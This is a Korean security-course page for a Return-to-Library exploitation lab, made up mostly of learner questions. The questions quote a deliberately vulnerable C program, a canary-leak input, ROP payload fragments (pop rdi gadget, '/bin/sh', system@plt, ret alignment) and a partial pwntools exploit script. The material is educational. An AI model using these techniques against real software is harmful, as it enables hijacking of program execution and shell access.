강의 설명

이 강의에서는 라이브러리의 코드를 이용하는 Return to Library 공격 기법을 소개하고, 관련된 실습을 진행합니다.

강의 목표
Return to Library 공격 기법을 이해한다.
이 강의와 관련된 질문들입니다.
24개의 질문
Return to Library 질문
해당 강의 마지막 부분에 나오는 전체 익스플로잇 코드에서 payload += p64(ret) # align stack to prevent errors caused by movaps 해당 부분이 왜 들어가는지 잘 이해가 되지 않습니다. 그냥 해당 줄을 빼고 진행해도 괜찮아야되는거 아닌가요? 찾아봤을 때 RTL실습할 때 스택정렬을 위한거라고만 나오는데 스택 정렬은 또 뭔가요.. 관련 공부할 자료나 강의 같은게 있으면 공유해주실 수 있나요
#시스템해킹
#공격기법
#rtl
#return_to_library
payload += p64(pop_rdi) 다음 payload += p64(binsh)
여기서 왜 pop를 먼저 한다음에 binsh를 payload에 적나요? binsh를 system의 인자로 들어가려면 binsh를 먼저 하고 pop를 해야 하는 거 아닌가요? 도와주세요 모르겠습니다
#시스템해킹
#공격기법
#rtl
#return_to_library
canary leak을 시도할때
rtl.c의 버퍼는 0x30만큼 인데 leak 을 위해서는 0x39를 설정합니다 0x31이 아니라 8바이트를 추가한 0x39로 설정하는 이유가 궁금합니다ㅜ 이전에 return to shellcode exploit에서는 buf<->sfp간에 거리를 알아서만 할 수 있는 줄 알았는데 헷갈립니다ㅜㅎㅎ rtl.c ``` char buf[0x30]; ``` rtl.py ``` # [1] Leak canary buf = b'A' * 0x39 ``` 추가로, "여기서 한가지 주의할 점은, system 함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다는 것입니다. 이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10단위로 정렬되어 있지 않으면 Segmentation Fault를 발생시킵니다" 이런 설명이 있는데 스택이 0x10단위로 정렬된다는건 어떤 건가요? 미리 감사합니다!
#시스템_해킹
#공격기법
#rtl
#return_to_library
Return To Library의 ROPgadget 적용 했을 때
강의에서는 pop rdi가 검색이 된다고 되어있는데 ![image.png](https://dreamhack-media.s3.amazonaws.com/attachments/21081d13516b29897b45f1841668ef19936a95c08177449156961222ae36e4bf.png) 저는 검색이 안됩니다... 이유를 모르겠어요... 똑같은 코드인데.. ![image.png](https://dreamhack-media.s3.amazonaws.com/attachments/cc10e99bba379c94cbc8fdbff20d395f11bccd611c6578a9ad1ff5b2a3f76fc2.png)
#시스템_해킹
#공격기법
#rtl
#return_to_library
gdb로 /bin/sh 주소 찾기
![image.png](https://dreamhack-media.s3.amazonaws.com/attachments/87203f48bd90e2f2e68f8a8b22ce1fd8ae8e3d294a258c0287a71984bb920c6d.png) 왜 /bin/sh의 주소가 나오지 않을까요..?
#시스템_해킹
#공격기법
#rtl
#return_to_library
ret 가젯
exploit을 작성할 때 system 함수 내부에서 작동하는 movaps에 의해 (rsp가 16바이트 정렬이 되어야함) SIGSEGV 에러가 발생할 수 있어서 ret 가젯을 쓰는 것으로 이해했습니다. (64bit 시스템에서는 스택 포인터가 8바이트씩 이동하는 것으로부터 기인) 궁금한 것은 exploit을 했는데 SIGSEGV 에러가 발생하면 ret 가젯을 추가해주는 것인지, 아니면 exploit을 하기 전부터 ret 가젯을 추가하지 않는다면 SIGSEGV 에러가 날 것을 예상해서 exploit 코드를 작성하는지 입니다. < ret 가젯을 추가했을 때 : system 함수 호출 시점에서 rsp가 16바이트 정렬되어 있음 (0x7fff2108f580) > 00:0000│ rsp 0x7fff2108f568 —▸ 0x400285 ◂— ret 01:0008│ 0x7fff2108f570 —▸ 0x400853 (__libc_csu_init+99) ◂— pop rdi 02:0010│ 0x7fff2108f578 —▸ 0x400874 ◂— 0x68732f6e69622f /* '/bin/sh' */ 03:0018│ 0x7fff2108f580 —▸ 0x4005d0 (system@plt) ◂— jmp qword ptr [rip + 0x200a52] < ret 가젯을 추가하지 않았을 때: system 함수 호출 시점에서 rsp가 16바이트 정렬되어 있지 않음 (0x7ffd4a7ff4c8) > 00:0000│ rsp 0x7ffd4a7ff4b8 —▸ 0x400853 (__libc_csu_init+99) ◂— pop rdi 01:0008│ 0x7ffd4a7ff4c0 —▸ 0x400874 ◂— 0x68732f6e69622f /* '/bin/sh' */ 02:0010│ 0x7ffd4a7ff4c8 —▸ 0x4005d0 (system@plt) ◂— jmp qword ptr [rip + 0x200a52] 위에 있는 두 개의 스택을 비교했을 때 system 함수가 호출되는 시점에 스택 포인터가 가리키는 주소가 16바이트 정렬되어있냐 아니냐로 SIGSEV 에러가 발생하는 것으로 생각하는 것으로 이해하고 있는데 맞는 건가요?
#시스템_해킹
#공격기법
#rtl
#return_to_library
ROPgadget 실행질문입니다
ROPgadget을 이용하여 // Compile: gcc -o rtl rtl.c -fno-PIE -no-pie #include <stdio.h> #include <stdlib.h> #include <unistd.h> const char* binsh = "/bin/sh"; int main() { char buf[0x30]; setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); // Add system function to plt's entry system("echo 'system@plt'"); // Leak canary printf("[1] Leak Canary\n"); printf("Buf: "); read(0, buf, 0x100); printf("Buf: %s\n", buf); // Overwrite return address printf("[2] Overwrite return address\n"); printf("Buf: "); read(0, buf, 0x100); return 0; } 위와 같은 코드의 pop rdi 가젯을 얻기 위하여 아래와 같은 명령어를 쳤으나 답이 이상합니다. ROPgadget --binary ./rtl --re "pop rdi Gadgets information======================================== ============================================================ Unique gadgets found: 0 Unique gadgets found: 0 아무것도 안 나오니 코드가 잡히긴하나 싶어서 --re 옵션 빼고 동작. ROPgadget --binary ./rtl ROPgadget --binary ./rtl Gadgets information========================================= ============================================================t 0x000000000040111c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret 0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020 0x00000000004011ba : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x000000000040111e : add byte ptr [rax], al ; endbr64 ; ret 0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax 0x00000000004011bb : add byte ptr [rcx], al ; pop rbp ; ret 0x00000000004011b9 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x000000000040114a : add dil, dil ; loopne 0x4011b5 ; nop ; ret 0x0000000000401038 : add dl, dh ; jmp 0x401020 0x00000000004011bc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x00000000004011b7 : add eax, 0x2ebb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret 0x0000000000401085 : add eax, 0xf2000000 ; jmp 0x401020 0x00000000004012be : add eax, 0xfffddce8 ; dec ecx ; ret 0x0000000000401017 : add esp, 8 ; ret 0x0000000000401016 : add rsp, 8 ; ret 0x000000000040103e : call qword ptr [rax - 0x5e1f00d] 0x0000000000401014 : call rax 0x00000000004011d3 : cli ; jmp 0x401160 0x0000000000401123 : cli ; ret 0x00000000004012cb : cli ; sub rsp, 8 ; add rsp, 8 ; ret 0x00000000004012c3 : dec ecx ; ret 0x00000000004011d0 : endbr64 ; jmp 0x401160 0x0000000000401120 : endbr64 ; ret 0x0000000000401012 : je 0x401016 ; call rax 0x0000000000401145 : je 0x401150 ; mov edi, 0x404060 ; jmp rax 0x0000000000401187 : je 0x401190 ; mov edi, 0x404060 ; jmp rax 0x000000000040103a : jmp 0x401020 0x00000000004011d4 : jmp 0x401160 0x000000000040100b : jmp 0x4840103f 0x000000000040114c : jmp rax 0x00000000004012c4 : leave ; ret 0x000000000040114d : loopne 0x4011b5 ; nop ; ret 0x00000000004011b6 : mov byte ptr [rip + 0x2ebb], 1 ; pop rbp ; ret 0x00000000004011b8 : mov ebx, 0x100002e ; pop rbp ; ret 0x0000000000401147 : mov edi, 0x404060 ; jmp rax 0x000000000040114f : nop ; ret 0x00000000004011cc : nop dword ptr [rax] ; endbr64 ; jmp 0x401160 0x0000000000401146 : or dword ptr [rdi + 0x404060], edi ; jmp rax 0x00000000004011bd : pop rbp ; ret 0x000000000040101a : ret 0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret 0x000000000040105b : sar edi, 0xff ; call qword ptr [rax - 0x5e1f00d] 0x00000000004012cd : sub esp, 8 ; add rsp, 8 ; ret 0x00000000004012cc : sub rsp, 8 ; add rsp, 8 ; ret 0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax 0x0000000000401143 : test eax, eax ; je 0x401150 ; mov edi, 0x404060 ; jmp rax 0x0000000000401185 : test eax, eax ; je 0x401190 ; mov edi, 0x404060 ; jmp rax 0x000000000040100f : test rax, rax ; je 0x401016 ; call rax 코드도 잘 지켜서 한 것 같은데 ROP 가젯이 왜 안 되는지 모르겠습니다. 작성했고 컴파일도 그대로 했는데 pop rdi가 나오질 않습니다. 하다못해 파이썬 폰툴로 exploit을 하려고 find_gadget(['pip rdi'])[0] 으로해도 None type이 나옵니다.
#시스템_해킹
#공격기법
#rtl
#return_to_library
오타 제보
chapter 3 / page 3 / 버퍼 오버블로우 설명에서 rtl.c의 18번째 줄부터 27번째 줄까지 -> rtl.c의 19번째 줄부터 28번째 줄까지 (마지막 read 함수 포함하여 변경)
#시스템_해킹
#공격기법
#rtl
#return_to_library
ropgadget 설치 질문입니다..
ropgadget 설치를 한 후 실행을 하면 'ropgadget: command not found'가 출력됩니다. 이곳 커뮤니티에서 다른 분들의 질문에 대한 답변이나, 구글링을 통해 알아본 방법을 사용해도 되지 않습니다. 해본 방법으로는 1. 삭제 후 다시 설치 2. --user를 빼고 전역으로 설치 3. capstone 설치 후 재설치 4. sudo를 사용한 설치 5. github의 설명 방법대로 설치 이것들 다 해도 안되는데 무슨 방법이 없을까요..?? pip3 list를 하면 ROPGaget 7.2 버전이 있습니다.
#시스템_해킹
#공격기법
#rtl
Return to Library 문제 카나리 관련 디버깅 질문 입니다ㅠ
![](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/d9d0f495669f0341faa6f62012b0a73507db80310654450e79da80a3ee187b5b.png) 1. buf공간이 0x30으로 할당되었는데 이 이상 주입하면 bof가 일어나는 것으로 이해하고 있습니다. 8byte의 카나리가 왜 **0x38을 했을땐 나오지않고** 0x39를 했을때만 1byte(null)을 뺀 7byte의 카나리가 나오는걸까요?( 그림을 그려보면서 이해하려해도 이해가 안됩니다 ㅠ) 2. 디버깅으로 직접 카나리를 확인해보려고했는데 ![image.png](https://dreamhack-media.s3.ap-northeast-2.amazonaws.com/attachments/35ceff574648f8a8847a9a5f0c449c45fd10edc2c24aa8ad8d9f405076c48613.png) 왼쪽이 A 57개 오른쪽이 A 56개 넣었을때 입니다. 둘다 fs:0x28를 실행했을때 rax값을 복사해서 read함수에서 A를 넣고 비교해본건데 0a라는 녀석들이 한자리씩 껴있네요.. 저러면 6 byte까지는 그대로있지만 다음 1byte는 0a가 있는데 어떻게 7byte 카나리가 어디서 어떻게 읽어와지는건지 모르겠습니다..
#시스템_해킹
#공격기법
#rtl
RTL 문제에서 아무 의미 없는 가젯 ret 를 추가하는 이유
이 강의에서 실습하는 문제에서 system의 가젯을 이용해서 공격할때 세그먼트 폴트가 발생할 수 있어서 8바이트를 미뤄주기 위해 아무 의미 없는 가젯을 추가한다고 했습니다. 제가 궁금한거는 1. system 함수의 가젯이라는건 pop rdi;ret 로 시작해서 "bin/sh", system 함수까지의 페이로드를 의미하는건가요? 2. 굳이 nop 코드가 아닌 ret 가젯으로 의미없는 8바이트를 채우는 이유가 궁금합니다.(pop rip를 통해 8바이트가 증가된다고 했던거 같기도 한데..) 3. pop rdi의 작동원리가 궁금합니다. 결국 "bin/sh" 라는 문자열의 주소를 rdi 레지스터에 저장하는 코드인데 이러면 "bin/sh"라는 가젯이 스택에 알맞는 위치에 존재해야되는데, 페이로드가 스택에 어떤 순서로 buf 에 쓰이는지가 궁금합니다. 질문이 부족한 점 죄송합니다. 구글링도 계속 해봤는데, 통쾌한 답을 얻기가 어렵네요.. 헷갈리는게 많은 초보입니다.
#rtl
pwdntools로 system plt의 주소를 구할 수 있나요
pwndbg 에서 plt를 쳐도 ```root@1dcf4a5a23f2:/root/dreamhack# gdb -q rtl ****** Your encoding (ANSI_X3.4-1968) is different than UTF-8. pwndbg might not work properly. You might try launching gdb with: LC_ALL=en_US.UTF-8 PYTHONIOENCODING=UTF-8 gdb Make sure that en_US.UTF-8 is activated in /etc/locale.gen and you called locale-gen ****** pwndbg: loaded 157 pwndbg commands and 38 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from rtl... (No debugging symbols found in rtl) ------- tip of the day (disable with set show-tips off) ------- GDB's follow-fork-mode parameter can be used to set whether to trace parent or child after fork() calls pwndbg> plt No symbols found in section .plt ``` 처럼 plt 섹션에 심볼이 없다고 나와서 pwntools로 구하려고 합니다 ``` from pwn import * p = process('./rtl') e = ELF('./rtl') def slog(name, addr): return success(": ".join([name, hex(addr)])) buf = b'A'*0x39 p.sendafter('Buf: ', buf) p.recvuntil(buf) cnry = u64(b'\x00'+p.recvn(7)) slog('canary',cnry) system_plt = e.plt['system'] ret_gadget = 0x0000000000401333 nop_gadget = 0x000000000040114f binsh = e.symbols['binsh'] print('system:', system_plt) print('binsh:', binsh) payload = b'A'*0x38 + p64(cnry) + b'B'*0x8 + p64(ret_gadget)+p64(binsh)+ p64(nop_gadget) +p64(system_plt) pause() p.sendafter('Buf: ', payload) p.interactive() ``` 근데 이렇게 하니 파이썬스크립트를 실행시키니까 처음부터 입력을 다시 받네요 ```e.plt['system']``` 으로 system 시스템콜의 plt를 가져오는 것이 잘못된 것 같은데 어떻게 해결하면 좋을까요
#시스템_해킹
#공격기법
#rtl
pop rdi, 가젯의 개념
pop rdi의 역할과 가젯의 정확한 개념 알려주실분.. payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system_plt) 그리고 익스코드 페이로드가 왜 이렇게 되는지 답변 주실분 계신가요.. 뭔지는 알겠는데 왜 저 순서로 들어가는지, 각각 데이터 영역 상에서 어떤 역할을 하는지 정확히를 모르겠네요.. 이걸 이해해야 ROP도 할 수 있을 듯 한데
#시스템_해킹
#공격기법
#rtl
ret, pop rdi 가젯의 하는 역할이 무엇인가요?
어셈블리어에 대한 지식이 부족해서 질문 드립니다. 익스플로잇 코드에서 ret 영역에 의미 없는 ret 가젯을 넣어 0x10 단위로 정렬해주고 pop rdi 가젯을 찾아서 넣어주던데 1. 단순 정렬 문제라면 ret 가젯 대신 b"A"*0x8을 넣어줘도 괜찮겠다는 생각에 넣어줬는데 EOF 오류가 발생하던데 왜 그런건가요? 2. 의미 없는 가젯인 ret 가젯을 만나면 아무 일도 일어나지 않고 다음 코드인 pop rdi 가젯으로 넘어가는 건가요? 3. pop rdi 가젯은 system 함수의 인자로 사용되는 rdi 값을 비워주기 위해서 사용하는 건가요?
#시스템_해킹
#공격기법
#rtl
ret 주소 질문
ret = 0x0000000000400285 이 부분이 어디서나온건지 이해가되질않습니다. 놓치고 있는게 있을까요..?
#시스템_해킹
#공격기법
#rtl
ROP gadet
rop gadet 설치하려고 하니깐 이런오류가떠요 WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x7f078a64e730>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution')': /simple/ropgadget/ ERROR: Could not find a version that satisfies the requirement ROPgadget (from versions: none) ERROR: No matching distribution found for ROPgadget 어덯개 설치할수있을까요?
#시스템_해킹
#공격기법
#rtl
익스플로잇 send vs sendline
익스플로잇 코드를 스스로 짜보다가 계속 Got EOF while reading in interactive 문구가 출력되어 코드를 수정하다가 canary_leak 부분에서 buf를 전달하는 코드를 sendline으로 작성했던걸 send로 바꾸어주었더니 해결이 됐습니다. p.sendlineafter("Buf: ", buf) => p.sendafter("Buf: ", buf) 제가 알기로는 \n차이만 있는걸로 알고있는데 이게 혹시 어떻게 작동하여 문제가 발생한건지 알 수 있을까요?
#시스템_해킹
#공격기법
#rtl
ROPgadget 관련 질문입니다.
ROPgadget을 설치하는 명령어를 입력하면 다음과 같이 이미 있다는 듯이 나옵니다. > Requirement already satisfied: ROPgadget in /usr/local/lib/python3.8/dist-packages (6.6) Requirement already satisfied: capstone in /usr/local/lib/python3.8/dist-packages (from ROPgadget) (4.0.2) 그런데 계속 ROPgadget 명령어를 찾을 수 없다고 나옵니다. 혹시 몰라서 sudo 를 붙여서 설치해봐도 이미 있다고만 하는데 어떻게 해야할지 잘 모르겠습니다. 혹시 해결 방법을 알 수 있을까요?
#시스템_해킹
#공격기법
#rtl
익스플로잇 ret 질문
16바이트로 정렬되어야 하기에 25번줄에서 ret을 사용했다는 것은 이해했습니다. 그런데 해당 문제에 나온 22번줄의 주소는 어떻게 구한 것인가요?
#시스템_해킹
#공격기법
#rtl
0x10 정렬 관련 질문이 있습니다!
0x10 의 배수만큼 스택을 정렬해줘야 오류를 면할 수 있다고 하여 아무 의미 없는 바이트를 추가하기 위해 \x90과 같은 NOP 바이트를 더미로 추가해보았습니다. 그렇지만 \x90과 같은 NOP 바이트를 pop rdi; ret 가젯 앞에 필요 부분만큼 추가하였는데도 EOF 오류가 납니다. 예제의 익스플로잇 코드와 같이 다른 부분의 ret 가젯을 굳이 꺼내오는 것인지 이해가 잘 되지 않습니다.
#시스템_해킹
#공격기법
#rtl
오타 있어요
// Name: rtl.c // Compile: gcc -o rtl rtl.c -fno-PIE -no-pie ... const char* binsh = "/bin/sh"; int main() { ... system("echo 'system@plt"); ---> 여기서 ' 가 잘못 들어갔거나 아니면 '가 한개 빠졌어요
#시스템_해킹
#공격기법
#rtl
ROPgadget 실행불가
python3 -m pip install ROPgadget --user해당 명령어를 사용하면 Requirement already satisfied: ROPgadget in /usr/local/lib/python3.9/dist-packages (6.6) Requirement already satisfied: capstone in /usr/local/lib/python3.9/dist-packages (from ROPgadget) (4.0.2) 이미 되어있다는 것 같은데 ROPgadget -v를 사용하려고 하면 ROPgadget자체를 찾을 수 없다고 뜹니다. 그 외에도 pip install ropgadget, pip3 install ropgadget, /usr/bin/python3 -m pip install --upgrade pip 명령어들을 사용해도 비슷한 이유로 안되는 것 같습니다. 어떻게 해결해야할까요?
#시스템_해킹
#공격기법
#rtl
이 익스플로잇에서 가젯 위에 추가된 ret 가 궁금합니다.
22번 줄과 25번 줄 코드와 함께 ` # align stack to prevent errors caused by movaps`라는 주석이 표시되었는데, 왜 이 코드가 사용되는 이유를 알고 싶습니다. 22번 줄의 주소가 어디를 향하는 것인지, 왜 return address에 바로 입력하면 안 되는지, 모두 궁금합니다! [Return to Library 익스플로잇](https://dreamhack.io/learn/6/83#13)
#시스템_해킹
#공격기법
#rtl
buf의 크기가 0x30인데 익스플로잇 코드에 buf공간을 채울때 0x38만큼 채우는 이유가 궁금합니다.
최종 익스플로잇 코드를 보면 buf공간을 채우기 위해 b'A'같은 문자를 0x38개 만큼 넣습니다. 근데 소스코드에 있는 buf의 크기는 분명 0x30인데 말이죠. 분명 예전에 이해했던 것 같은데 갑자기 헷갈립니다. 제가 buf와 canary사이에 제가 빼먹고 있는 무언가가 있나요? 제가 생각한 소스코드의 스택 구조는 Low ------------------------ buf 0x30 ---------------------- canary 0x8 ---------------------- sfp 0x8 ---------------------- ret 0x8 ---------------------- High 이렇게 인데 제가 뭘 빠트리고 있는거 같아요
#시스템_해킹
#공격기법
#rtl
강의 평점
0.0★ (0)
0
Exploit Tech: Return to Library
0.0★ (0)
Free
상세정보
약 2 hours 소요
보통 난이도
없음